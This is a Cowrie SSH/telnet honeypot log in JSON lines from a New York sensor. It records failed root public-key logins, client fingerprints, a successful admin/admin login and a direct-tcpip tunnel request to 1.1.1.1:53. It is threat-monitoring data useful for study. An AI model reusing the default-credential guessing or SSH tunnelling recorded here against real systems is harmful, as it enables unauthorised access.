:"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:c7:72:d2:5b:76:50:e5:f5:2a:0a:86:21:cc:c2:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.964110Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:c7:72:d2:5b:76:50:e5:f5:2a:0a:86:21:cc:c2:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBwkny2JqB3bXHgFeLD3nWiRpxEmpk2fM9ake3842tqKI1HKrr6uXu4nRsqvyAQWgUmGMQldjIyPLy0A+Q6MCqCdVSQuS1pSFDUSSngVXXwk6fc3W1V+cgHt0dWO0EE7FKeE8J+42byuD3/tNoQE3AbkyvBPDDuEPuBIvuQQeHP8N2hzscArCyq/mLK0fJTv2k1aLiwcuDzYxakaI7SLDUVc/7OernTvyIvoOzPUgKS8g8aZwrr624a97X18r+NNfagBhQAqPTk0kZ0Qp5aHwQdz292jIE2omMp50zguhAMQsDyr0wZngw7dTwcGuJi9cxRag+y663reRyvwG4XMZxjOOMyDGiWJ2OyMBYuN4/qdyoY5xXXHSnxbHw+OfkpAPLnuVeZ44gTCQXFgFZ1KpVyFOp1NL+ueXeCWcT2nQfTJipMnyccjSdVyuINWA2g1aeHAsS0qp+iMssbNx9ay6NozgqMI5IAcBGLVNdaqMbc41OPqOpck5JYKQ5GhcbqV/D2bZ9XHRNdFK6toTeXLvJO4cp4pnvDqpxRuIQ2Hw5lLp5RDSEiMVD3MRZTpE2UJOZg9rlrj+JoaE8WjmStxXxu9M7HYK0GbFSNArYqt2Np1XzbR1QDRrKzL3s3WggMKLKu6IZoeabpa1w/6/asuofprd+XFr6m1CXNXpNL/NBuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.967874Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:12.071564Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":36744,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f7f984c7ff","protocol":"ssh","message":"New connection: 148.113.160.5:36744 (10.17.0.5:22) [session: 19f7f984c7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.579758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.584587Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.604433Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:79:b3:cd:e7:fa:be:b7:24:11:42:1a:93:3f:27:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlfJazDSyBJV8COb2c5PBh+le7FRwoAIhDOuPBwgcWAvapOqtwG+dpFNG/AzS3fN0RzcAXF0+1/WZmJtowK5MjSVnm7liJ7MtnTDfZZaQpBgvlra/vxTd/89XcJ4aGLRaXWyxoRChDSHXqdE5BfiM7AInC0Gx224EWZCPH9R9TxfcKjAAG6X5m91n+oDMXhpRUtxpcQysnuZv7KxeVCfaIGwVXuv3UAaMbVE13X4k+21HEipAd8qeat/7RW4JRkHUskMo1KsI+k4WeVxesvbosNyfDsQLsptkVvjFQNw+gKfWRoema8fb2tsQA9tJajsYIH79azJjl5RiF9wZDwcdpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:79:b3:cd:e7:fa:be:b7:24:11:42:1a:93:3f:27:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.685488Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:79:b3:cd:e7:fa:be:b7:24:11:42:1a:93:3f:27:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlfJazDSyBJV8COb2c5PBh+le7FRwoAIhDOuPBwgcWAvapOqtwG+dpFNG/AzS3fN0RzcAXF0+1/WZmJtowK5MjSVnm7liJ7MtnTDfZZaQpBgvlra/vxTd/89XcJ4aGLRaXWyxoRChDSHXqdE5BfiM7AInC0Gx224EWZCPH9R9TxfcKjAAG6X5m91n+oDMXhpRUtxpcQysnuZv7KxeVCfaIGwVXuv3UAaMbVE13X4k+21HEipAd8qeat/7RW4JRkHUskMo1KsI+k4WeVxesvbosNyfDsQLsptkVvjFQNw+gKfWRoema8fb2tsQA9tJajsYIH79azJjl5RiF9wZDwcdpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.689657Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:db:fe:8d:01:93:f5:9a:e7:48:45:dd:5c:17:01:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Gee6XTwh1BlyLF1S/bG8T6IQWeCxoXs7/PBEKh4/MgccQHTvdBlvRBq5tmAwdVphiy0+j49Yf2lbluJW8iwuYm07xKsO3lhzKATTwk28GTF52EB2MudLJa/Jqwd9Lya75wcLHwMpgpCYiNHee6ETJG8SE4Dann6J5PVhAxgHohSwc+qLhfwJwNoOUo/7cmGL2LQeVJzk9+DEk6sNP2lwJLGd9bhtaL5kCxr+ak1X0h98CCXnaEAheEMX7r23V5SBTVPPN44GQRkDMJ7jF0n8SBkRkVB4dcjucKn2PutTajQA9VAC8mGAZ1s9kBgFjM5WeTcEoQSRkooFsXgSS5pvPZqshdXn45xAXkSt0x3U6sRHzY7T/uEUv5cwb4WQJVfk8+ld0pTCaIWvUAJBXkJsx/Rh421Xm0PtZnJCPO5aCzGiD9AaUkOi12lPZhPl8f01oTzE+4VZeA6RCX9iEXiqyPMzvtXuKvm/wEDnbQUbxt06EodIgKQu4jJ0zd3G0JWhrNbN1vXm/uWMxEXs86UVxpKrcZKa58X4+0+nDkKKbsgC3uwFI5K85l3CIVCZFIpJT/FXx9fxLy6eP1PU4rhG0YFp/LthSWSWGGSBFfW7DlPwRJJqdd3n1pwg+SCSt4UpPLsnduL4sj5IcsvylkQbd0NIJq2Bd4XyMGmeKWcn5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:db:fe:8d:01:93:f5:9a:e7:48:45:dd:5c:17:01:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.713985Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:db:fe:8d:01:93:f5:9a:e7:48:45:dd:5c:17:01:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Gee6XTwh1BlyLF1S/bG8T6IQWeCxoXs7/PBEKh4/MgccQHTvdBlvRBq5tmAwdVphiy0+j49Yf2lbluJW8iwuYm07xKsO3lhzKATTwk28GTF52EB2MudLJa/Jqwd9Lya75wcLHwMpgpCYiNHee6ETJG8SE4Dann6J5PVhAxgHohSwc+qLhfwJwNoOUo/7cmGL2LQeVJzk9+DEk6sNP2lwJLGd9bhtaL5kCxr+ak1X0h98CCXnaEAheEMX7r23V5SBTVPPN44GQRkDMJ7jF0n8SBkRkVB4dcjucKn2PutTajQA9VAC8mGAZ1s9kBgFjM5WeTcEoQSRkooFsXgSS5pvPZqshdXn45xAXkSt0x3U6sRHzY7T/uEUv5cwb4WQJVfk8+ld0pTCaIWvUAJBXkJsx/Rh421Xm0PtZnJCPO5aCzGiD9AaUkOi12lPZhPl8f01oTzE+4VZeA6RCX9iEXiqyPMzvtXuKvm/wEDnbQUbxt06EodIgKQu4jJ0zd3G0JWhrNbN1vXm/uWMxEXs86UVxpKrcZKa58X4+0+nDkKKbsgC3uwFI5K85l3CIVCZFIpJT/FXx9fxLy6eP1PU4rhG0YFp/LthSWSWGGSBFfW7DlPwRJJqdd3n1pwg+SCSt4UpPLsnduL4sj5IcsvylkQbd0NIJq2Bd4XyMGmeKWcn5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.718924Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:ca:c0:1b:5d:cd:f6:3b:c7:db:ba:90:6b:c1:43:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHwyHE0I38Vc8NFthMyafaXvegBuGkqoG2QlC6czbrJzoJlUuzXBCmDO8RUrekpjlHVFyQiB/sLSeZ9zeMTD2ULhT6nbNHJHpWzpt6u4nWFPFo+z9c/uh6X7V46gdBRZ2swFZ5AVOvha6ey2DnmpswjZrjWyNkdTZ/Xw40ObfnM+bO9BwiG6IhbbkM4qSd/gJJQW1XyvjaivGqg1DE8lxblgWa+Ez0EAfGS2u1Wo5VRRGx+VhDusihashsom2PCkA3KciD/RYalR0rJtyU6g7o60uduIya9LshLCMGHQ6vrxWyD4aNReGY1leMJTe1r1SperBc6ZkVi9ZZUD2M7aT345ZWfluVXsdYkJ5WPdr1j3ybSg4ALT/N6CTAV5wXxNujTkDHDtBL01kslWygBln4NN+9RXVrY7Es7qjy1npW2kluXAN9yGS6bv3m7orwLH7qtVqjH/CxqBbgSp2dvq35AjEdOb/LKTmPV7AORY3x/+pwFlUBMpFQi70xaDgnd1tiTIJSd4ege4FYPia55voMg+hLjLdumYdp+xM3RqYy86bBQF0cHrZQIBrDdWxP5Ze1C36E1YG03FvCsn46EG9/bd453ln+bfb2/VA7MSiIHf6Wtti8SdqO8AKVcQsN4metd3LNAiRRkBFwJwwyuavxajVbYV/iRWZ23wqZQQeKPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:ca:c0:1b:5d:cd:f6:3b:c7:db:ba:90:6b:c1:43:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.740805Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:ca:c0:1b:5d:cd:f6:3b:c7:db:ba:90:6b:c1:43:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHwyHE0I38Vc8NFthMyafaXvegBuGkqoG2QlC6czbrJzoJlUuzXBCmDO8RUrekpjlHVFyQiB/sLSeZ9zeMTD2ULhT6nbNHJHpWzpt6u4nWFPFo+z9c/uh6X7V46gdBRZ2swFZ5AVOvha6ey2DnmpswjZrjWyNkdTZ/Xw40ObfnM+bO9BwiG6IhbbkM4qSd/gJJQW1XyvjaivGqg1DE8lxblgWa+Ez0EAfGS2u1Wo5VRRGx+VhDusihashsom2PCkA3KciD/RYalR0rJtyU6g7o60uduIya9LshLCMGHQ6vrxWyD4aNReGY1leMJTe1r1SperBc6ZkVi9ZZUD2M7aT345ZWfluVXsdYkJ5WPdr1j3ybSg4ALT/N6CTAV5wXxNujTkDHDtBL01kslWygBln4NN+9RXVrY7Es7qjy1npW2kluXAN9yGS6bv3m7orwLH7qtVqjH/CxqBbgSp2dvq35AjEdOb/LKTmPV7AORY3x/+pwFlUBMpFQi70xaDgnd1tiTIJSd4ege4FYPia55voMg+hLjLdumYdp+xM3RqYy86bBQF0cHrZQIBrDdWxP5Ze1C36E1YG03FvCsn46EG9/bd453ln+bfb2/VA7MSiIHf6Wtti8SdqO8AKVcQsN4metd3LNAiRRkBFwJwwyuavxajVbYV/iRWZ23wqZQQeKPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.744549Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:a8:d3:94:2c:e9:6b:9a:74:eb:e4:eb:96:c5:5e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpnPFkF5YFaKD94t/IGirInp6Z6O+FsrvcVnddmqFtUUUps/2qsUfNDEZPwd3oJ0GvKf9hmofKZrTyuJ8yu4cr0+G2xj0Z08h2QNMAcUQRLYia1zR6ToH3ZXOBIw9rin1Kf20YnM7zaf8HDsYT+5bmCLBM9x0gxggpOMqQEbP2epwVjVMZyYoq0xfkYAsgbum7Xp1CyKt6BA2A2wXWth/sZdAAxtyw8CTbn1yC17mnQLNaP3ZrmyuVbLaKbK6Oh2NXQZ+V+347gV2RbPXTf6q7YcCtheRgTDTmsiSThNbENis5zWqZFMVPH1AvB14TP4PqIezz2h1iQpNAI7jgRbeejzWvqwVjO2Kv/Da7Oe3xHc4/3iK3xVqjC9uNNU63kyyVeQjrbWe+lya8RV3xBsLE0qIitrwQk6mKayPkmhlfDQlP7FzNqzn1RvxqiTYI67zMLhg4Jms8eMFCHAnUbhCEv3fJgUGXyFY57XYlgdapTgqsvT95cXcM5wZPusFkMi1n6tyGNuufnsBfharXsfHVFo3EsnO1yFYKb1TKPeUu0EguuGqOyeoEfEAB+rk29l9dUatZwFKMcFZQ74YxYKZIgwHQvd3w6D/sn9VxO+De4QIW0VIJcAFHfhpP5zaSLVNUP7B1yK4Q3nQKz+SLtzqLn1ouDRzA7oHAI58mWKdSJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:a8:d3:94:2c:e9:6b:9a:74:eb:e4:eb:96:c5:5e:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.767591Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:a8:d3:94:2c:e9:6b:9a:74:eb:e4:eb:96:c5:5e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpnPFkF5YFaKD94t/IGirInp6Z6O+FsrvcVnddmqFtUUUps/2qsUfNDEZPwd3oJ0GvKf9hmofKZrTyuJ8yu4cr0+G2xj0Z08h2QNMAcUQRLYia1zR6ToH3ZXOBIw9rin1Kf20YnM7zaf8HDsYT+5bmCLBM9x0gxggpOMqQEbP2epwVjVMZyYoq0xfkYAsgbum7Xp1CyKt6BA2A2wXWth/sZdAAxtyw8CTbn1yC17mnQLNaP3ZrmyuVbLaKbK6Oh2NXQZ+V+347gV2RbPXTf6q7YcCtheRgTDTmsiSThNbENis5zWqZFMVPH1AvB14TP4PqIezz2h1iQpNAI7jgRbeejzWvqwVjO2Kv/Da7Oe3xHc4/3iK3xVqjC9uNNU63kyyVeQjrbWe+lya8RV3xBsLE0qIitrwQk6mKayPkmhlfDQlP7FzNqzn1RvxqiTYI67zMLhg4Jms8eMFCHAnUbhCEv3fJgUGXyFY57XYlgdapTgqsvT95cXcM5wZPusFkMi1n6tyGNuufnsBfharXsfHVFo3EsnO1yFYKb1TKPeUu0EguuGqOyeoEfEAB+rk29l9dUatZwFKMcFZQ74YxYKZIgwHQvd3w6D/sn9VxO+De4QIW0VIJcAFHfhpP5zaSLVNUP7B1yK4Q3nQKz+SLtzqLn1ouDRzA7oHAI58mWKdSJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.771403Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:c7:72:d2:5b:76:50:e5:f5:2a:0a:86:21:cc:c2:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBwkny2JqB3bXHgFeLD3nWiRpxEmpk2fM9ake3842tqKI1HKrr6uXu4nRsqvyAQWgUmGMQldjIyPLy0A+Q6MCqCdVSQuS1pSFDUSSngVXXwk6fc3W1V+cgHt0dWO0EE7FKeE8J+42byuD3/tNoQE3AbkyvBPDDuEPuBIvuQQeHP8N2hzscArCyq/mLK0fJTv2k1aLiwcuDzYxakaI7SLDUVc/7OernTvyIvoOzPUgKS8g8aZwrr624a97X18r+NNfagBhQAqPTk0kZ0Qp5aHwQdz292jIE2omMp50zguhAMQsDyr0wZngw7dTwcGuJi9cxRag+y663reRyvwG4XMZxjOOMyDGiWJ2OyMBYuN4/qdyoY5xXXHSnxbHw+OfkpAPLnuVeZ44gTCQXFgFZ1KpVyFOp1NL+ueXeCWcT2nQfTJipMnyccjSdVyuINWA2g1aeHAsS0qp+iMssbNx9ay6NozgqMI5IAcBGLVNdaqMbc41OPqOpck5JYKQ5GhcbqV/D2bZ9XHRNdFK6toTeXLvJO4cp4pnvDqpxRuIQ2Hw5lLp5RDSEiMVD3MRZTpE2UJOZg9rlrj+JoaE8WjmStxXxu9M7HYK0GbFSNArYqt2Np1XzbR1QDRrKzL3s3WggMKLKu6IZoeabpa1w/6/asuofprd+XFr6m1CXNXpNL/NBuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:c7:72:d2:5b:76:50:e5:f5:2a:0a:86:21:cc:c2:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.795923Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:c7:72:d2:5b:76:50:e5:f5:2a:0a:86:21:cc:c2:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBwkny2JqB3bXHgFeLD3nWiRpxEmpk2fM9ake3842tqKI1HKrr6uXu4nRsqvyAQWgUmGMQldjIyPLy0A+Q6MCqCdVSQuS1pSFDUSSngVXXwk6fc3W1V+cgHt0dWO0EE7FKeE8J+42byuD3/tNoQE3AbkyvBPDDuEPuBIvuQQeHP8N2hzscArCyq/mLK0fJTv2k1aLiwcuDzYxakaI7SLDUVc/7OernTvyIvoOzPUgKS8g8aZwrr624a97X18r+NNfagBhQAqPTk0kZ0Qp5aHwQdz292jIE2omMp50zguhAMQsDyr0wZngw7dTwcGuJi9cxRag+y663reRyvwG4XMZxjOOMyDGiWJ2OyMBYuN4/qdyoY5xXXHSnxbHw+OfkpAPLnuVeZ44gTCQXFgFZ1KpVyFOp1NL+ueXeCWcT2nQfTJipMnyccjSdVyuINWA2g1aeHAsS0qp+iMssbNx9ay6NozgqMI5IAcBGLVNdaqMbc41OPqOpck5JYKQ5GhcbqV/D2bZ9XHRNdFK6toTeXLvJO4cp4pnvDqpxRuIQ2Hw5lLp5RDSEiMVD3MRZTpE2UJOZg9rlrj+JoaE8WjmStxXxu9M7HYK0GbFSNArYqt2Np1XzbR1QDRrKzL3s3WggMKLKu6IZoeabpa1w/6/asuofprd+XFr6m1CXNXpNL/NBuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.799959Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:14.821297Z","src_ip":"148.113.160.5","session":"19f7f984c7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47984,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac0f7c1d130","protocol":"telnet","message":"New connection: 152.42.224.71:47984 (10.17.0.5:23) [session: 7ac0f7c1d130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:44.203308Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47998,"dst_ip":"10.17.0.5","dst_port":23,"session":"5380240b196b","protocol":"telnet","message":"New connection: 152.42.224.71:47998 (10.17.0.5:23) [session: 5380240b196b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:45.220959Z"}
{"eventid":"cowrie.session.closed","duration":21.54821753501892,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:48:05.751428Z","src_ip":"152.42.224.71","session":"7ac0f7c1d130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.170262813568115,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:48:14.391125Z","src_ip":"152.42.224.71","session":"5380240b196b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48138,"dst_ip":"10.17.0.5","dst_port":23,"session":"464a663bafb2","protocol":"telnet","message":"New connection: 152.42.224.71:48138 (10.17.0.5:23) [session: 464a663bafb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:48:52.051472Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50656,"dst_ip":"10.17.0.5","dst_port":22,"session":"0464657ac9fa","protocol":"ssh","message":"New connection: 87.251.64.176:50656 (10.17.0.5:22) [session: 0464657ac9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:42.261903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:42.267090Z","src_ip":"87.251.64.176","session":"0464657ac9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:42.429471Z","src_ip":"87.251.64.176","session":"0464657ac9fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:42.852752Z","src_ip":"87.251.64.176","session":"0464657ac9fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:42.997929Z","session":"0464657ac9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48690,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee85046ef83a","protocol":"ssh","message":"New connection: 80.94.92.184:48690 (10.17.0.5:22) [session: ee85046ef83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:43.039974Z"}
